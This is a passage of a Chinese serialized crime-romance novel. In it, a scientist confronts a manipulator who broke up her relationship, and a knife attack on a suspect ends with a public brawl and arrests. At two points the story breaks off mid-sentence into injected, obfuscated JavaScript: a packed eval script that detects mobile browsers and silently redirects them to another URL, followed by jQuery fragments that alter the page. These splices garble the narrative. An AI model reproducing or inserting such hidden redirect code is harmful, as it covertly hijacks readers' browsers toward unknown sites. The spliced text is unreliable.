他说着伸手想要挂断,周随容赶忙阻止,架住他的胳膊道:“许游翔的话也不一定是真的,或许是想教唆你去对付梁益正呢?你这会儿跟梁益正撕破脸干什么?虚与委蛇地应酬着,想办法让他们两个斗啊。”
王达的脑子被风一吹,登时清明不少,顺着周随容的思路一转,陡然惊醒道:“兄弟,你说得有道理。这帮畜生的嘴里没一句实在的,谁都不能信!”
他用力拍打脸颊醒神,发现自己根本捋不清双方似真似假的说辞,只知道自己伸头缩头都逃不了一刀,不由窝火地骂道:“靠!老子是干了什么伤天害理的事了?他姓梁的跟姓许的,阴招全往我身上使,凭什么?!”
“他们是利益相关,只有我是好管闲事。”周随容高傲的眉眼中写满了鄙夷,“我就是看不惯一个人坏事做尽,还在那儿招摇撞骗充什么好人。梁益正如果真的徒有其表,我想把他那层人皮给扒了。”
王达脑子晕晕乎乎的,墙头草的本性再次复苏,这次随着风向紧紧贴向周随容,对他竖起一根大拇指,说话带着不自觉的谄媚:“你说得对,老周。认识那么多人,我真心实意佩服的只有你一个。”
吃上软饭的就是不一样,腰杆子比一般人硬多了。
周随容暗自复盘许游翔、王达两人的陈述,发觉他们来来回回绕不开那个失踪的人。
案件分明已时隔久远,人至今杳无音信,余下少量游谈无根的传言,翻不出什么有用证据,照理说跟梁益正如今的麻烦扯不上多少关系,偏偏两人出奇一致地把重点放在这桩陈年旧事上。
王达是被许游翔所影响,那么许游翔呢?
周随容低声道:“你说有没有可能……”
王达晃悠着酒瓶,抬起头听他说话。
周随容喉头蠕动,挑了挑眉尾:“当年那个小孩儿,其实没死?”
·
严见远自嘲地笑了下,问:“你为什么不相信我?”
方清昼吃着粉丝,停顿下来认真回答:“我不知道怎么形容。许多人对我有误解。我不擅长处理的是情感,但我对谎言的辨识能力,比大多数人以为得高。你的表现并不自然。我建议你省略迂回的步骤,开诚布公地谈。”
“梁教授说你是个不会被情绪左右的人,永远能够用理性消化各种信息。”严见远微微后仰,靠在椅背上,“我不怎么相信。所以我去看你的演讲,听你的报告,了解你的项目,剖析你的生活。我想知道你是理性,还是先天的情感缺失。”
“你这样很变态。”方清昼没有食欲了,把碗捧远了点,“你有消化不了的情绪吗?”
严见远疲惫叹道:“有,很多。”
方清昼刻意地扫向他手臂上的伤疤:“需要构造谎言来进行自我疗愈?”
严见远神色如旧:“我习惯编造故事,我能成功很大一部分也是仰赖于大家喜欢听我的故事。或许你看不上这种从虚假延伸出的幸福跟爱意,但是大多数人需要。”
严见远两手虚握摆在膝盖上,姿态并不紧绷,两人之间也没有那种剑拔弩张的态势,只是无形中有种难以言说的窒息。如同置身在几公里下的深海,依靠极端的压抑来维系住表面的和平。
方清昼放下筷子,不怎么带感情地问:“比如沈知阳?”
严见远目不转睛地看着她,颔首道:“比如周随容。”
32.养料
方清昼的表现大抵让他失望,像是什么都能接受,顽强得不可撼动,无论他打出什么底牌,不过是掀起点微不足道的风波。
如同他在揣测方清昼的心态,方清昼同样对他的意图感到迷茫。
思考这种虚无缥缈的东西花费了方清昼一定的时间,让她回答的速度比往常要慢上两拍。
“你不用刻意强调来激怒我,我已经知道是你。”
严见远仍在审察似地端量她的表情,宛如要从她脸上搜刮出什么决定性的证据,来支撑自己的某种论点,发觉实在徒劳,才奇怪道:“我以为你会更生气一点。”
“我只是觉得跟你吵闹没有任何意义,除了让你欣赏到我的难堪,无法让你感到愧疚或者怜悯,也改变不了既定的现实。”方清昼的话里带上少许尖刺,“你预期中的我应该要有什么反应?暴怒、憎恨、狂躁?还是会把热水泼到你的脸上,痛斥你的所作所为?”
“不清楚,我没有什么预期。”严见远目光上移,没有焦距地注视着房间对角的天花板,“我遇到的每个人都在为了欲望而自我折磨。他们想要金钱、权力、美色、赞誉、感情,得不到就怨恨,想伪装又做得不够隐蔽,张嘴说话就会暴露,露出尖锐的獠牙,控制不住的时候会咬向身边人,妄图让别人来分担自己的痛苦。”
他转动眼珠,看过来的视线没什么力度,犹如在看隔得太远的月亮。
“只有你不会,你接受一切的真实,不执迷那些无能为力跟触不可及的事物。面对四面八方一团糟糕的反馈,永远遵循自己的规则,好的留下,坏的丢出去,不管那些东西在别人眼中有什么价值。
“有时候我看到你,会感受到片刻的平静,认为一切执念或许没那么重要,应该被摒弃,被一键清除。但有时候我也会想,对你来说,真的没有让你觉得不可缺少的东西吗?”
方清昼的表情有点变了。脸颊的肌肉轻微鼓动。
严见远说:“你工作室成立那一年,受邀回校参加一场交流会。”
方清昼对大大小小的会议印象不深,因为绝大多数时刻她在一心多用地开小差。但严见远一说,她立马明白对方指的是什么。
由于现场提问的学生太多,交流会超过预定时间半个多小时依旧没有结束的趋势。
她的导师见她不停地看手机发短信,好笑问道:“你在跟谁聊天?那么多话吗?”
他视线无意往屏幕上一瞥,酸溜溜地道:“你还给他发表情包?你对我有时候只回复一个‘1’。”
方清昼摸鱼被抓包,但不认为是自己的问题,抬起下巴提示:“我谈恋爱了。”赶紧散会吧!
在座众人无不惊讶,现场哗然一片。大家忘记正事,热火朝天地打听她的恋爱故事。
严见远说:“我想不到。”
他当时第一反应是假的,方清昼被人骗了。
“你说周随容是一个明朗、健康的人。跟他在一起你感觉非常舒适。我找理由跟你们见了一面,打听到他的事情。”严见远的表情有些难以言喻,“我跟他的经历那么相似,我甚至能一眼看穿他的弱点,他明明跟我一样单薄而空洞,你对他的判断有误。事实证明,他也确实比想象中的容易击溃。他只是好运,从你那里偷到了宝贵的安宁。”
“你对他做了什么?”
方清昼出口,才意识到自己嗓音干涩,下颌到脖颈的肌肉紧绷得发酸。
严见远淡声道:“我没做什么。我只是告诉他,你对他的好感是基于理性的判断。他擅长照顾你的生活,能敏锐察觉你的需求,甚至偶尔可以说些笑话逗你开心,而你又恰巧对他不是那么厌烦,所以才会跟他在一起。
“但这是爱情吗?不是吧?你只看重自己的规则,在意能否舒适地生活。你喜欢的是他提供的这些条件。如果有一天这些没有了,你也可以不需要。如果有一天,他带来麻烦多过于便利,你可能懒得给他解释,就会舍弃他、离开他。你连对待父母也是这样,难道他能更特殊吗?”
严见远唇角牵动,表情消失得很快,看不出究竟是笑还是在讽刺:“甚至你们的交往,从一开始就是假的。”
方清昼愣了一下,随即恍然大悟,终于明白他们那莫须有的分手源头在哪里了。
方清昼罕见的有些动怒,声音大了点:“莫名其妙。你凭什么这样告诉他?”
他们交往的契机确实是因为一个比较小小的误会,方清昼原本决定永远保守秘密。
两个月多前,周随容毫无征兆地来找她求证。考虑到两人关系发展稳定,这不过是一个无关紧要的细节,方清昼一时大意,说了出来。
那一年正值春末夏初,周随容跟几个要好的同学组织了一场毕业旅行,同行者共13人。
周随容找到她,说同学都是拖家带口,只有他形单影只,反反复复在方清昼面前念叨“一个人不想去”、“只能发短信不能见面感觉会累”、“不知道下次跟朋友一起旅游是什么时候”、“想找个人在山顶拍这种类型的合照”之类拐弯抹角的话。
方清昼没有那么低的情商,扛不住他的消磨,勉为其难提出陪同。
结果旅游真正开始,只能用兵荒马乱来形容。
众人第一晚住的民宿订在半山。第二天的天气预报显示会有强降雨。入住时老板特意提醒他们,去城里的路有一段地势较低,如果不趁下雨前及时转移,后续车子可能会遇到积水路段不好走,运气不好要等水位降低才能过去。
之前就有游客因此滞留。而民宿这次没有足够的空房间了。
于是众人早早收拾好行李,把东西堆在大堂,紧急出门拍了几张日出的照片,便决定提前去往下一个地点。
不料负责看守行李的同学中途跟另外的游客聊天,离开了一段时间,等集合的时候众人才发现财物丢失。几个包和小点的行李箱都不见了,里面有几个人的证件跟存放资料的电脑,必须找回。
小偷多半已经跑路,众人一下慌了神。民宿老板帮忙报警,事情没有解决,雨提前开始下了。
紧急商讨过后,决定由周随容跟一位男生去往派出所,配合警察一起翻监控找失物,方清昼作为资历最深的学姐,领着剩下的人去酒店进行安置。
确认地址时,方清昼发现订单上有个数字不对,跟负责人确认,悲痛证实对方不慎订错了日期,晚了一天。
跟酒店协商过后,确定晚上8点左右才能清出足够的空房。方清昼无奈查找攻略,又临时订了间能歇脚的日租房。
一群人推推嚷嚷地出发,路上吵个不停,轮番拍着腿痛骂那小偷的无耻。
所幸心态良好,各个积极乐观,坐在车上颠簸过一阵后,基本忘记了行李丢失的烦恼,涌进宽敞的房间,围在一起看电影、打游戏。
周随容不在,方清昼没有认识的人,也没有要融入他们的意向。
她第一次经历这种错漏百出,足以用“灾难”形容的连环事故,放松下来不免身心疲惫,感到困乏。
她跟众人说了一声要休息,随即独自找了个没人的房间,窝在墙角睡了过去。
等方清昼醒来时已经是晚上,房间里空无一人。
她的手机放在包里,包被同行的人顺手带走了。她借由客厅墙上的挂钟确定时间为晚上9点21分,进一步确认自己被他们落下。
方清昼不大想马上去酒店跟他们汇合,下楼在小区里漫无目的地逛了一圈,从后门绕出去,跟着几个夜跑的行人找到一个景观湖。
这个地方安静、祥和、空旷,能听到隐约的水声、风声,以及虫鸣声,被夜色涂抹得相近的色调有种格外的魅力,融和了山、水、高楼跟行人,一切元素组合成一种难以形容的和美的气韵,比那些热闹的景点跟豪华的建筑更让她喜欢。
方清昼在湖边找地方坐了一会儿,不知道过了多长时间,觉得应该是没多久,在决定起身去酒店之前,耳边听到了周随容喊她名字的声音。
她转过头,看到周随容站在她身后,气喘吁吁,粗重的呼吸声里甚至有一点抑制不住的颤抖,但开口说话的声音放得异常轻柔,完全没有惊扰到夜晚的静谧:“他们以为你提前去酒店休息了,我从派出所回来一问才知道你不在。”
方清昼无所谓地“哦”了一声,解释说:“我睡着了,戴着耳机,没听到他们离开。”
周随容站直身,凑近过来看她的表情,可能是剧烈运动后视线模糊,几乎要贴到她的脸,小声问:“你睡在哪里?他们说检查过了,没看到你。”
“窗帘后面。我不喜欢有人看到我睡觉。”方清昼多解释了一句,以免他误会自己在发脾气,“我看过导航,认得路,准备过去了。”
周随容朝她伸出手,要碰到时又停了下来,转而小心翼翼地理了理她睡乱的头发,目光却一直看着她的脸。
方清昼识破他的优柔寡断,抓着他的手贴在脸上蹭了蹭。
夜晚的风很凉,有着能抚平所有躁动的力量,但是周随容一路奔跑过来热得冒汗。
他觉得掌心的温度对于方清昼的皮肤来说可能有点过于滚烫了,所以他抽回自己的手,绕到方清昼背后,轻轻抱住她,跟她说“对不起”。
虽然方清昼并没有生气。
两人坐在湖边的木椅上,远处的水面不时会荡过几点银白的波光,一片片,仿似通透又名贵的宝石,周随容看了会儿,忽然说:“和你的眼睛一样。”
可能是夜里的方清昼没有平日的疏离冷淡,让他有勇气靠近,他又说:“想跟你一起回家。”
没有边际的话,听起来感觉是在胡言乱语:“留在这里也可以。哪里都可以。”
然后叫她的名字:“方清昼,你呢?”
方清昼不知道他在说什么,不过微妙地领会到了他雀跃的心情。
时间太晚了。
周随容说“回去吧”,然后牵住她的手,带着她往外走。
方清昼走得磨磨蹭蹭,半途笑着说了一句:“我喜欢这里。”
周随容怀着心事听错了她的表述,他晃荡着快要满溢出来的感情,让方清昼也能从他的眼神中感受到纯粹的、美好的爱意。
下一秒周随容停下脚步,把牵着那只手插进她的指缝,用力地握住,偏头在她耳边低声说,我也爱你。
他没看清方清昼的表情,只听见方清昼很轻地“啊”了一声,已急得抱住她。
他们就这样在一起了。
夜里,马路上车辆的灯光不时照进来,照出他们的影子。一闪而过后离开,让他们重新隐没在黑暗里。
远比今晚窗外的夜色要浓得多。
那天周随容询问,方清昼回忆完整个经过,没有留意地开了句玩笑:“小周,其实是因为你喜欢我,才会觉得我喜欢你。”
正常来说,周随容绝对不会当真。
然而当时周随容的脸色变得异常难看,一直低着头。
方清昼无所适从,跟着沉默。
没多久周随容说要离开,方清昼笨拙地找借口让他留下,生拉硬扯地说:“鱼缸的水变浑了。还有书房的富贵竹我有换水,可它叶子有点发黄。你不在的话家里的动植物要末日了。”
周随容说:“这些事情,保姆也可以做。”
方清昼没料到他会给出这样的回复,不悦道:“我不喜欢保姆,她们听不懂我的话。而且在一起久了,她们会给我过多不必要的关心,对我的生活方式发表意见。”
周随容问:“我对你没有关心吗?”
方清昼察觉到他反应奇怪,努力说很多话,试图补救自己的词不达意:“她们认为我不喜欢出门、不喜欢交朋友是错误的,认为我对父母的态度冷漠得不正常,反复劝我过年回去跟他们一起吃团圆饭,我不喜欢。”
周随容不吭声。
方清昼继续说:“我不是不能理解他们的想法,毕竟在我小时候,给他们付工资的是我父母。她们当然要站在老板的立场。只是我不喜欢。”
方清昼再三强调:“我不喜欢。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16512560|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>又跟周随容说:“你不会这样。”
周随容的表情告诉她,她说的这些都不对。
周随容的手一向是干燥的,不怎么出汗,可是那天给方清昼的感觉是潮湿,湿润得跟他看起来快哭出来的眼睛相似,按着方清昼的肩膀把她推远,说自己有事要离开。
对此,方清昼说了句:好吧。
方清昼当时以为那句问话的重点在“保姆”,但实际的解题思路并不在题干里。她企图混分的行为造成了反效果,连基本的态度分都没拿到。
对于周随容后续的逃避,再次不恰当地选择了没用的尊重。
因为没有人告诉过她,争取跟挽留可以得到她想要的东西。
周随容也犯了个大错误。他不应该让方清昼主动表述,明明在一起却只单方面沟通。根据她的片面之词贸然做下结论。
不过这里面有严见远这只苍蝇的挑唆跟影响,也不能完全责怪周随容的疏忽。
·
严见远掀开眼皮,眼部肌肉微微用力,慵懒的眼神因此多出了些许的锐利,一时间分不出是在跟谁说话:“对方清昼而言,爱是多余的。”
方清昼看着他漂亮的脸,感觉有点面目可憎,冷冷地道:“关你什么事?”
严见远说:“连他自己也这样认为。他找不到你爱他的确凿证据,也接受不了这种似是而非的感情,所以选择跟你分手。”
“我们没有分手。”方清昼反驳道,“他当时没有说分手,只是说有事要做。是你在曲解他的想法。”
如果周随容理智尚存,就会知道,跟表不表白,谁先开口没有关系。方清昼答应跟他旅游,已经是一个奇迹。
方清昼常年坐在室内,跟冬眠的蛇一样懒得动弹。鲜少晒太阳,出门只要超过八百米就属于远足。将健身视作人类极限生存项目来挑战。能跟周随容参加多人旅游,无异于是抱着出生入死的觉悟。
严见远对她固执的辩白不置可否,揶揄地道:“我的曲解能成功,不就证明他没有那么相信你爱他?”
方清昼的唇角肌肉小幅抽搐。
“起初我只是想让他跟你分手,但他真的……”严见远停顿下来,耐人寻味地道,“真的跟我太像了。连后来犯的错也一模一样。”
方清昼说:“你根本不了解他。是你自以为是的相像。”
“那你了解我吗?”严见远反问,“你连我是谁都不知道,怎么知道我指的是什么?当然,如果你问,我可以提前告诉你他后来做了什么。你要问吗?”
方清昼的眸底褪去晦涩的犹疑,带着洞明的笃定,沉稳有力地说:“你嫉妒他。”
严见远泰然自若地笑问:“你指什么?”
方清昼说:“你用一个个谎言来稳定自己动荡的人生,水中捞月一样地执迷不悟,追求片刻稀缺、平凡的安定,可又注定没有。周随容明明跟你相似,为什么他可以轻易过上你理想的生活?你在他身上创造条件、寻找答案,来以此证明错的人不是你。
“沈知阳也是。你引导她跟那个律师见面,知道她恨意难平动手杀人的时候,心底是不是有片刻的解脱?觉得这世上病态的不是你,只是大多数人比你幸运,幸运者没有资格评判你的对错。”
方清昼的目光刀子一样钉在他身上,带着让他无所遁形的锋锐:“你将他们的崩溃当做自己续命的养料,那么下一个是谁?许游翔?还是王达?又或者是新的目标?”
包厢里飘散着茶叶的清香,两人面前摆放着已然冷却的茶水。
严见远维持着固定的姿势,石化般枯坐,陷入长久的默然。脸上是一种深沉的无望,如同一棵被岩浆浇灌的植物,周围漂浮着遮天蔽日的死灰。
他闭了闭眼,关停一旁沸腾的热水,状似无事发生,得体地说:“我们交谈的时间到了。”
“我期待你给我的审判。但不是现在。希望我们还有见面的机会。”严见远站起来,挺直肩背,稳健地往外走。
“我应该怎么称呼你呢?你已经获得梁益正不可企及的成功,依旧没能逃出这座城市吗?”方清昼端坐着询问,“你是想报复他吗?”
严见远停步回头,放缓的声调里带着对荒诞的笑意:“报复他?”
·
“梁益正。”
王达瞅一眼再次震动手机,深吸口气,做好心理准备,把电话接了起来。
他不大周正的五官因为忍耐而挤在一起,丑得别出心裁,瓮声瓮气地应道:“梁哥,我在呢。你过来吧。”
他说了具体的地址,多一秒都不堪忍受,迅速挂断电话。
王达跟扔脏东西一样扔开手机,接上先前断开的话题:“你是说,那个小孩儿当时没死,前段时间回来,在梁益正别墅外自杀了?”
周随容没有纠正,无法理解他是怎么串联上的线索。
王达尤在惊呼:“为什么?报复吗?拿命报复啊?这人真狠啊!”
周随容摇了摇头,讳莫如深地说:“比起报复,我觉得更像是为了倾诉。痛苦不能被看到,会变得更痛苦。”
王达听他说得玄乎,怪腔怪调地讥讽道:“痛苦,一败涂地的家伙就喜欢无病呻^吟,动画片看多了吧?说白了不就是没用吗?”
他坐姿懒散,朝向街头,苦闷地喝了口酒,惆怅地认为整条街里根本提溜不出一个比自己倒霉的。
悲春伤秋时忽而看到个熟悉的身影,以为是自己眼花,扯了扯周随容的衣服,指向一处问:“兄弟,那是你老板不?”
周随容顺着他的手看过去,就见方清昼正跟一个男人站在路边。一米外守着两个威猛健壮的保镖。
光是凭着不分明的身形面容,便有种引人注目的风采。
王达打了个饱嗝,试探道:“你不是说她留在酒店怕得不敢出来吗?骗你的啊?”
王达说着瞥了他阴沉的侧脸,心道软饭也不好吃啊,挖墙角的多,尾音一转,改口道:“看开点。”
周随容:“……”他这就被绿了?
33.骚乱
王达见周随容呆站着不动,手肘杵了他一下,说:“你愣着干什么?不过去?”
周随容没拿定主意,不确定自己适不适合出场。王达见状转了转他机灵的小脑袋,了然点头,用手势示意他不用多说。
吃软饭要会忍辱负重。合理。
许是他们视线太过强烈,那边方清昼似有察觉地朝他们看了过来,对上眼神后,向他们招了招手。
王达那张淬过毒的嘴没来得及发挥作用,周随容已抛下他,大步流星地走过去。
离得近了,周随容认出严见远是曾经的合作方,一时想不起他的名字,客气地道:“好久不见。这么巧能在B市碰上。”
严见远半阖着眼往他脸上一扫,目光透着些许寒凉,让周随容渐渐收敛住笑意。
一辆车稳稳在他们面前停下,保镖上前拉开车门。
严见远停在车边,临别前多看了方清昼一眼,冷淡的脸上浮起一个近乎捕捉不到的笑:“这会是一场热闹的戏剧,希望你能欣赏。”
方清昼没有应声,连场面化的一句“慢走”也没稀得给。
周随容注视着他离开,还在思考自己哪里得罪过他。搜索无果,转道问方清昼:“他找你做什么?他叫什么来着?”
方清昼严肃道:“他挑衅我。”
周随容心说:他挑衅我还差不多。眼神里刀光剑影的,看着要把他剐了。
“那就不要管他。”周随容说,“有些人就是那么……嗯?变态科学家?”
方清昼又听到这个魔咒似的名词,带着稍许无法抵抗而产生的绝望:“这个称呼一定要延续下来吗?”
“算了,不要提他。”周随容站上台阶,跟方清昼并肩,开始给自己讨公道,“方老板,你知道我在王达那儿的人设,已经变成什么样了吗?你多少该给我留点儿面子吧?”
方清昼往上移了一级,跟他保持视线平齐。
周随容:“??”
方清昼盯着他,凝重的表情像在酝酿着什么,片许后严厉指责:“你很过分。”
“我?过分?”周随容每回看她挂着脸一本正经的模样就觉得好笑,“我又犯错啦?”
方清昼“嗯”了一声,重心前倾着靠到他身上,脑袋有气无力地搭上他的肩窝。
“那怎么办呢?我不知道我犯了什么错。”周随容嘴上这样说,手已经顺从地抱住她,察觉周边飘来若有若无的视线,贴着她耳朵说,“方清昼,边上有人在看你。”
方清昼冷漠地道:“关我什么事?”
周随容笑了,没有笑出声,但是胸腔的震动通过紧贴的皮肤告诉了方清昼。
方清昼汲取着他的体温,有点热,伴随着一股消散不去的酒气。四肢懒洋洋地绵软下来,没骨头似地挂在他身上。
周随容感觉她在下滑,索性把她抱起来,问:“梁益正要来了。你是打算回酒店,还是留下见他?”
方清昼从待机模式重新开机,抬起头微微后仰,对着他看了一会儿,狐疑道:“梁益正要来?”
周随容不明所以,说:“是啊。王达之前接到他的电话,说要过来一起吃个晚饭。人马上就到了,怎么了?”
方清昼扭过脖子,望向灯火中觥筹交错的人群,缓声道:“我刚才还在想,为什么严见远会那么快知道我在这里?又为什么杀江平的凶手知道梁益正会在什么时间去别墅开聚会?是王达。”
周随容向下兼容了一整晚,被王达的智商给带偏了,没过脑地跟了句:“王达是从犯?”
方清昼再次转向他:“……?”
周随容干咳一声,把搭错了的那根筋奋力抽了回来,改口说:“王达的手机被监听了?”
方清昼说:“可能。”
方清昼想起严见远最后留下的那句“热闹”跟“欣赏”,觉得别有深意,说:“叫梁益正不要过来了。”
周随容把人放下,从口袋里摸出手机,还没联系,就见梁益正在街对面现身。
周随容阔步朝那边走去。
梁益正对着屏幕打字,匆匆用余光扫一眼马路,确认没有车流后埋头前行。
王达喊了声“梁哥”,起身挥动手臂示意。
梁益正循声望去,直直走向王达,垂眼睨向吃得一片狼藉的桌面,用脚踢了下跟前的凳子,没有落座。
王达拎着瓶啤酒跟他说话,没注意到身后那张矮小的双人桌边,一青年放下筷子,跟着站了起来。
周随容见男人单手摸向腰间,鬼祟绕过王达,危险的直觉骤然拉满,高叱一声,利箭般冲了过去。
“梁益正——!”
梁益正闻到王达嘴里喷出的酒臭味,强忍着作恶的冲动屏息后仰,正烦躁地左顾右盼,也察觉到男人不自然的举动。
当刀片的暗芒在对方衣摆下闪过时,他下意识抓住王达的手臂,将人拖到自己面前。
好在王达喝得半醉,身体沉得跟巨型沙袋一样,被他猛力一拽,双脚还定在原地,只是笨重地往前栽倒。这一撞将梁益正也给带翻了,重重摔倒在地,幸运地躲过男人横劈来的一刀。
周围人以为是谁喝多了没站稳,兴致缺缺地张望两眼,屁股坐着没动。
王达更是回不过神,摔得七荤八素,连方向都辨不清了,忙着查看自己吃痛的手掌。
歹徒一击未成,迅速追上一刀,目标明确,忽略碍事的王达,扎向梁益正的另一只眼睛。
梁益正撞上歹徒杀气炽盛的视线,跌坐在地来得及闪避,手臂青筋暴突,再次扯过王达的衣领,粗暴地将人撞向刀锋。
周随容离得过远,眼见白光凶狠刺向王达的后脑,嗓子眼被堵得发不出声。
千钧一发之际,一道黑影炮弹似横冲过来,壮硕的体型靠着悍然的蛮力直接从侧面将人撞飞,歹徒在余劲下砸倒附近的桌椅。
边上的食客发出一声尖叫,这才看见凶犯手中紧握的刀,神经轰然炸开,大喊道:“杀人啦!哇靠!他在杀人啊!”
恐慌瞬间传染,食客一个个弹跳而起,又因为不知道凶手在哪儿,没有方向地乱窜。
英勇出场的冯队一下被人民群众撞了满怀,阻挡住脚步,还有不明真相的路人见他体格高大错认他是凶犯,抄起手边的酒瓶勒令他后退。
不远处的歹徒从地上爬起来,跌跌撞撞地准备混入人群逃跑。
周随容彪悍地追上前,抬腿踹向对方后背。
歹徒听到耳后传来的劲风,灵活避过,握着刀嘶吼着在半空挥刺,一顿胡劈乱砍的密集刀光,有效将周随容逼退。
冯队赶过来,一酒瓶朝前掷去,趁着歹徒躲闪的功夫,闪电般突袭上前,扼住对方持刀的手腕,朝反方向拧去。
晚来一步的年轻小伙儿对着众人大吼道:“警察!我们是警察,所有人让开!”
他不喊还好,客人们惊慌中作鸟兽散四面逃开了,仅有几个胆子大、热心肠的,手里拎着折叠板凳在找机会入场支援。
这声“警察”一出口,人民群众跟获得金身护体似的,纷纷大着胆子聚回来看热闹。
众人自发以搏斗的歹徒为中心站成一个圈,手机排排高举,对着扭打的两人摇晃拍摄。
周随容默默退到远处。
凶手被冯队按到在地,却在听到“警察”二字时,迸发出前所未有的力气,差点挣开身上的桎梏,不顾疼痛地咆哮道:“梁益正杀了人你们警察不管,他爸是市长,你们帮他杀人,他会有报应的,你们会有报应的!!”
人群中有声音喊:“梁益正在那儿!”
看客们又把摄像头对准脱离了战场的关键人物。
王达呆若木鸡,脑海中回放着自己两次跟死神擦肩而过的经历,面无人色的脸上涌现一股迟来的愤怒,身体还在恐惧地打着哆嗦,旋身一拳打在梁益正的脸上,气得发狂,厉声骂道:“你特么的梁益正!你拿老子挡刀?你还是个东西吗!”
梁益正猝不及防被揍得一个踉跄,抬手捂住吃痛的侧脸,精神尤在怔忪状态以致于反应迟笨,见王达面带疯狂地朝自己扑来,只顾着用手臂艰难招架。
王达的攻击没有章法,手臂拳头交替着往梁益正身上打。
后者生生挨了几下,裸露的皮肤上印出条条红肿的指印,在众人瞩目中抱头鼠窜,大怒呼叫:“警察!拦住他!”
几名警察刚制服住凶犯,收起地上的凶器,气没喘平,又头大地冲上来拉架:“你冷静一点!干什么呢!打人犯法的!”
王达跟行凶的歹徒一样,见到警察上前,反跟打了鸡血一样愈加恼怒。被从身后制住手臂,两条腿仍腾空朝那边踢踹,理智彻底脱缰,什么都敢往外吼:“你们还给他当贴身保镖?有没有王法了!真拿公安局是他家开的吗?杀了两个还不够,许游翔也差点被你害死了!还有别墅外的那个!你到底杀多少人!你们警察到底管不管!”
人群爆发出一阵海啸般的议论,摄像头如同一双双漆黑的眼睛,密不透风地锁住周围的空气,记录下他们脸上每一条肌肉的走势。
警察见事态将要失控,恨不得多生出几只手去捂王达的嘴,低喝道:“闭嘴!你别吵了!”
梁益正跟着暴起,浑然没了往日的风度,双目猩红地与王达理论:“你特么的胡说八道!我杀谁了?你给我说清楚!”
冯队头皮发麻地暗骂一声,看王达的眼神想挖个坑把他埋了,指挥着同事赶紧把王达几个一块儿装车上带走,要安排位置的时候才意识到他们开来的车塞不下这几个人。
这三人必须得分开坐,否则一不注意就得在车上给他来个全武行。
人手也不够。
好在这时附近派出所的民警赶到了。
一群人连拖带拽的,把他们按上警车。
冯队后怕地抹了把汗。他身上短袖被撕成了烂布条,下巴也在缠斗中磕出了个血印子,但单手叉腰环顾四周的姿态颇显威猛,稍稍修饰了他的狼狈。
他看向方清昼二人,扯了扯快开到肚脐眼的衣领,嘴里呼出热气,问:“你们开车来的?”
周随容说:“我喝了点酒。”
冯队言简意赅:“上车。”
·
冯队的车里有股弥留不散的烟臭味儿,坐在副驾驶座的王达上车后嘴巴就没停过,不服气地喊:“你们都看见了,差一点点,那刀差一点点就从我脑袋上削下去了!梁益正那狗畜生心真狠啊!他那算不算杀人?不能因为我没事就不管吧?”
冯队降下车窗,窗外呼啸的风声都没盖过王达鸭子似粗粝的嗓门。
王达拿他的沉默当是一种推拒,不依不饶地喊:“你们警察不能再包庇他了!”
冯队关上窗户,木然道:“最近网上冒出来不少所谓的内部消息,还有人专门去梁益正的账号下面带节奏,说梁益正的别墅里死人了,自己是现场目击者,确定死者是梁益正的同学或者员工,不堪他的欺凌被逼自杀,警察现在故意压着舆论不让讨论。你有什么头绪吗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526079|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”
王达消声了。
对于这种危险性过大的问题,方清昼一贯的解决方式是拒不回复。
冯队愤怒地拍打方向盘:“果然是你!混蛋!你在外面传了我们多少谣?真当我们不敢抓你?!”
“我只说了两句,其它的跟我没关系!说明大家眼睛都敞亮着呢!”王达火气上来了,梗着脖子叫板道,“你不用威胁我!你拘留我顶多关我几天,但我哪里造谣了?里面哪句话不是真的?”
后排的方清昼冷不丁地叫他名字:“王达。”
王达怒冲冲地问:“干什么!”
方清昼突发感慨:“你很像水母。”
王达被她过于镇定的语气弄得云里雾里,基于对水母的好感,音调降低下去:“什么意思?我个性自由?”
方清昼说:“水母没有大脑,也没有心脏。”
“……”王达,“……”
他燎烧的愤怒十分诡异地被浇灭下去,剩下一种难以形容的憋闷。
周随容握住她的手小声提示:“方总,他坐在司机边上。”
方清昼努力亡羊补牢:“但其实水母是凶猛的食肉动物,一生都在进食。”
王达吸了口气,悲愤地想:哟,还骂我能吃是吧?
周随容再次委婉提醒:“方总,男人不是听到凶猛两个字就会觉得高兴的。”
方清昼:“哦,部分水母的触手上带有能射出毒液的刺细胞,可以迅速麻痹……”
她话到一半,车子一个急刹停了下来,冯队得救似地高喊一句:“到了!”
所有人松了口气。
冯队指着公安分局的大门,对王达说:“你先进去,里面的同事在门口等着了,做个笔录。”
放下王达,冯队驱车送二人回酒店。
他抽出一根烟,咬着没点,说话声音吐字不清,慵懒地问:“你们见过许游翔了吗?有什么发现?”
周随容给了个铺垫:“他说梁益正他爸是前市局局长,”
冯队隐约有种不祥的预感,两手抓稳方向盘,以保证行车安全:“那怎么了?市局局长不能生儿子?”
周随容抛下一句惊雷:“当年打瞎梁益正的那个小孩儿,连同他爸,都被你们警察逼死了。”
冯队的声音差点把车顶给掀翻:“什么?!”
周随容给他肯定,怜悯地道:“王达跟许游翔都对此深信不疑。王达说,许游翔跟那个小孩儿是同村的朋友,当年亲眼看见民警杀完人后,从对方家里逃出来。”
冯队松开油门,让车辆龟速在深夜的街道上行驶,表情可以称得上惊恐,嘴里的烟叼不住滑了下去。
他脸颊咬紧又松开,突然想到什么,眸光犀利扫向后座,不放心地道:“别告诉我,你们也信了?”
